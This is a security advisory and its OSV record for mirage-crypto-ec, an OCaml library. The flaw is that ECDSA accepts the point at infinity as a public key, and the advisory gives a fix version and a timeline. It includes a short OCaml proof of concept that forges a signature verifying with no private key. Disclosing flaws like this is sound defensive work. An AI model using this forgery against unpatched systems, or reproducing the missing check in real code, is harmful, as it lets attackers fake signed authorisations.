osec-2026-13
CVSS 6.2 osv_ocaml`P256{,P384,P521}.Dsa.pub_of_octets` accepts 0x00, the encoding of the point at infinity, as a public key. The Diffie-Hellman path rejects that point (`point_of_octets`); the ECDSA path skips the same check. Under such a key a signature can be forged with no private key, as the repro shows. The same class is treated as high severity elsewhere. CVE-2022-21449 ("Psychic Signatures", OpenJDK) let a blank ECDSA signature verify, and CVE-2020-0601 ("CurveBall", Windows CryptoAPI) accepted a crafted ECC public key for certificate validation. Both are missing-validation forgeries on the same primitive. ## Solution Check for point at infinity in `pub_of_octets`. ## Reproduction ```OCaml module Dsa = Mirage_crypto_ec.P256.Dsa (* 0x00 is the SEC1 encoding of the point at infinity A a signature using it can be forged for any message with no private key. *) let () = Mirage_crypto_rng.(set_default_generator (create ~seed:"forge" (module Fortuna))); let o_key = Result.get_ok (Dsa.pub_of_octets "\x00") in let z = Digestif.SHA256.(to_raw_string (digest_string "transfer 1000eur to mallory")) in let r, _ = Dsa.sign ~key:(Result.get_ok (Dsa.priv_of_octets z)) ~k:z z in let s = String.make 31 '\000' ^ "\001" in Printf.printf "0x00 accepted as a public key: %b\n" (Result.is_ok (Dsa.pub_of_octets "\x00")); Printf.printf "forged (r, s=1) verifies under O: %b\n" (Dsa.verify ~key:o_key (r, s) z) ``` ## Timeline - June 25th 2026: report to ocaml/security-advisories - June 29th: acknowledgement of issue with several questions for the reporter - July 6th: answers from reporter, including a patch - July 27th: release of mirage-crypto 2.2.0 and security advisory
- Published
- unknown
- Last Modified
- unknown
CVSS details not available.
No product information available.
No references available.
No linked vulnerabilities found.
{
"affected": [
{
"database_specific": {
"source": "https://github.com/ocaml/security-advisories/blob/generated-osv/2026/OSEC-2026-13.json"
},
"ecosystem_specific": {
"affected_bindings": [
"Mirage_crypto_ec.P256.DSA.pub_of_octets",
"Mirage_crypto_ec.P384.DSA.pub_of_octets",
"Mirage_crypto_ec.P521.DSA.pub_of_octets"
],
"opam_constraint": "mirage-crypto-ec {< \"2.2.0\"}"
},
"package": {
"ecosystem": "opam",
"name": "mirage-crypto-ec",
"purl": "pkg:opam/mirage-crypto-ec"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.2.0"
}
],
"type": "ECOSYSTEM"
},
{
"events": [
{
"introduced": "0"
},
{
"fixed": "ca84f5ee8ede80bd1dd2aa4cd7cc90197752184e"
}
],
"repo": "https://github.com/mirage/mirage-crypto.git",
"type": "GIT"
}
],
"versions": [
"0.9.0",
"0.9.1",
"0.9.2",
"0.10.0",
"0.10.1",
"0.10.2",
"0.10.3",
"0.10.4",
"0.10.5",
"0.10.6",
"0.10.7",
"0.11.0",
"0.11.1",
"0.11.2",
"0.11.3",
"1.0.0",
"1.1.0",
"1.2.0",
"2.0.0",
"2.0.1",
"2.0.2",
"2.0.3",
"2.1.0",
"v2.1.0",
"v2.0.3",
"v2.0.2",
"v2.0.1",
"v2.0.0",
"v1.2.0",
"v1.1.0",
"v1.0.1",
"v1.0.0",
"v0.11.3",
"v0.11.2",
"v0.11.1",
"v0.11.0",
"v0.10.7",
"v0.10.6",
"v0.10.5",
"v0.10.4",
"v0.10.3",
"v0.10.2",
"v0.10.1",
"v0.10.0",
"v0.9.2",
"v0.9.1",
"v0.9.0",
"v0.8.10",
"v0.8.9",
"v0.8.8",
"v0.8.7",
"v0.8.6",
"v0.8.5",
"v0.8.4",
"v0.8.3",
"v0.8.2",
"v0.8.1",
"v0.8.0",
"v0.7.0",
"v0.6.2",
"v0.6.1",
"v0.6.0"
]
}
],
"aliases": [
"CVE-2026-87733"
],
"credits": [
{
"name": "Thomas Gazagnaire",
"type": "REPORTER"
},
{
"name": "Thomas Gazagnaire",
"type": "REMEDIATION_DEVELOPER"
},
{
"name": "Hannes Mehnert",
"type": "REMEDIATION_REVIEWER"
}
],
"database_specific": {
"cwe": [
"CWE-295"
],
"human_link": "https://github.com/ocaml/security-advisories/tree/main/advisories/2026/OSEC-2026-13.md",
"osv": "https://github.com/ocaml/security-advisories/tree/generated-osv/2026/OSEC-2026-13.json"
},
"details": "`P256{,P384,P521}.Dsa.pub_of_octets` accepts 0x00, the encoding of the point at infinity, as a public key. The Diffie-Hellman path rejects that point (`point_of_octets`); the ECDSA path skips the same check. Under such a key a signature can be forged with no private key, as the repro shows.\n\nThe same class is treated as high severity elsewhere. CVE-2022-21449 (\"Psychic Signatures\", OpenJDK) let a blank ECDSA signature verify, and CVE-2020-0601 (\"CurveBall\", Windows CryptoAPI) accepted a crafted ECC public key for certificate validation. Both are missing-validation forgeries on the same primitive.\n\n## Solution\n\nCheck for point at infinity in `pub_of_octets`.\n\n## Reproduction\n\n```OCaml\nmodule Dsa = Mirage_crypto_ec.P256.Dsa\n\n(* 0x00 is the SEC1 encoding of the point at infinity A a signature using it can be forged for\n any message with no private key. *)\nlet () =\n Mirage_crypto_rng.(set_default_generator (create ~seed:\"forge\" (module Fortuna)));\n let o_key = Result.get_ok (Dsa.pub_of_octets \"\\x00\") in\n let z = Digestif.SHA256.(to_raw_string (digest_string \"transfer 1000eur to mallory\")) in\n let r, _ = Dsa.sign ~key:(Result.get_ok (Dsa.priv_of_octets z)) ~k:z z in\n let s = String.make 31 '\\000' ^ \"\\001\" in\n Printf.printf \"0x00 accepted as a public key: %b\\n\" (Result.is_ok (Dsa.pub_of_octets \"\\x00\"));\n Printf.printf \"forged (r, s=1) verifies under O: %b\\n\" (Dsa.verify ~key:o_key (r, s) z)\n```\n\n## Timeline\n\n- June 25th 2026: report to ocaml/security-advisories\n- June 29th: acknowledgement of issue with several questions for the reporter\n- July 6th: answers from reporter, including a patch\n- July 27th: release of mirage-crypto 2.2.0 and security advisory",
"id": "OSEC-2026-13",
"modified": "2026-09-10T10:15:04.487988693Z",
"published": "2026-07-27T19:00:00Z",
"schema_version": "1.9.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "ECDSA accepts the point at infinity as a P256, P384, P521 public key"
}